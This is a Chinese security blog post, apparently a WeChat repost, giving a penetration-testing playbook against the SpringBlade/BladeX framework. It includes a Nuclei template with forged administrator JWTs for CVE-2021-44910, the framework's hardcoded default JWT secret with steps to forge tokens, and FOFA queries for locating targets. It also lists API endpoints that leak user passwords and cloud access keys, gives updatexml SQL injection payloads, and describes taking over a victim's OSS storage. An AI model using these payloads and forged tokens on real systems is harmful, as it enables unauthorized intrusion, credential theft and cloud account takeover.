Bladex框架思路

admin 2024年11月9日15:56:20评论7 views字数 4154阅读13分50秒阅读模式
本文由掌控安全学院 -

 不许打呼噜

 投稿

 

SpringBlade是一个基于Spring Boot和Spring Cloud的微服务架构框架,它是由商业级项目升级优化而来的综合型项目。

Bladex框架思路

CVE-2021-44910

id: springbladexinfo:  name: springbladex  author: xxx  severity: info  description: "springbladex"  reference:    - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44910.yaml  metadata:    fofa-query: icon_hash="1047841028"  tags: springbladexhttp:  - method: GET    path:      - "{{BaseURL}}/api/blade-user/user-list"      - "{{BaseURL}}/api/blade-develop/datasource/list"      - "{{BaseURL}}/api/blade-resource/oss/list"    headers:       Blade-Auth: bearer {{bearer}}    attack: batteringram    payloads:      bearer:        - 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0g'        - 'eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk'        - 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.kol9scDVwLDE8U3mM_j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg'    matchers-condition: and    matchers:      - type: dsl        dsl:          - contains_any(body,"accessKey","secretKey","jdbc","account","password")  && status_code == 200

0x1 前言

最近跟一些大佬学习了blade的漏洞,所以自己总结了一下,在渗透测试过程中,遇到blade框架的时候,该有哪些渗透思路,Springblade是基于spring-boot开发的,接口泄露、sql注入他也存在。

0x2 Spring-blade特征

特征1

看到一把剑没有,这就是它的特征,可以将一个ico图片,下载下来,在fofa、鹰图上搜索,很多资产都是blade的

icon_hash="1047841028"

Bladex框架思路

特征2

在页面加载过程中,会出现以下的加载页面,和最下方的https://bladex.vip,此时我们就可以将这个地址放到fofa上去扩大资产

Bladex框架思路

body="https://bladex.vip"

Bladex框架思路

特征3

在路径中若发现blade,这个字段,也基本可以确定是blade框架

/api/blade-user/info
/api/blade-auth/oauth/captcha
.....

0x3 发现资产

额,本来是像找一个可以注册的站,然后通过注册进去,想不到随便翻翻。。。。

直接把账号密码,写在页面中。。。。

Bladex框架思路

Bladex框架思路

进来之后,抓取数据包,说明一嘴,在路径中若看到blade-system,这个路径也代表这个站就是blade框架

Bladex框架思路

0x4 漏洞案列

4.1 接口泄露

正常情况下,应该是/api/blade-system/,但很明显开发人员将前面的路径改了,这样有些人在使用扫描器批量扫资产的时候,就会错过这样的站点

/oaApi/blade-system/menu/buttons

Bladex框架思路

/oaApi/blade-system/user/user-list

泄露了大量用户的姓名,密码(也包括管理员的信息)

Bladex框架思路

/oaApi/blade-resource/oss/list

泄露云服务器的accesskey、secrekey,直接去接管

Bladex框架思路

这里我们使用OSS Browser工具,使用cname进行连接,否者连接不上,登录成功,但里面不存在任何的数据。

下载地址:https://github.com/aliyun/oss-browser

Bladex框架思路

Bladex框架思路

这里还有很多的泄露信息的接口,就不一一列举了,我将自己收集的bladeapi接口,放到附件里面了,需要的师傅自取。

/api/blade-system/user/user-list
/api/blade-system/tenant/select
/api/blade-develop/datasource/list
/api/blade-resource/oss/list
/api/blade-develop/datasource/list
/api/blade-system/code/remove
/api/blade-resource/oss/remove
/api/blade-system/dict-biz/remove
/authority/role/add
/system/dict/add
.......

4.2 SQL注入

/oaApi/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1

e这个不存在这个漏洞

Bladex框架思路

试了其他注入点,也不存在注入

/oaApi/blade-user/export-user?Blade-Auth=[jwt码]&account=&realName=&1-updatexml(1,concat(0x5c,database(),0x5c),1)=1

Bladex框架思路

4.3 jwt硬编码

bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject

漏洞原因:开发者在使用jwt进行身份认证时,并没有对默认的jwt密钥进行修改,导致黑客可以利用默认的jwt密钥去伪造jwt值,可以欺骗服务器获取用户权限等

教程:将上面的密钥放到箭头指示的位置,然后修改payload里的字段,因为服务器都是通过这个payload中的字段进行鉴权的,所以通过修改payload中的字段,来达到伪造jwt欺骗服务器

Bladex框架思路

将修改后的jwt字段,放回Blade-Auth中,放包,看是否回显,若回显,则证明存在jwt硬编码。

Bladex框架思路

不成功则会出现未授权

Bladex框架思路

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

Bladex框架思路

 

原文始发于微信公众号(掌控安全EDU):Bladex框架思路

 


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月9日15:56:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bladex框架思路https://cn-sec.com/archives/3377078.html

发表评论

匿名网友 填写信息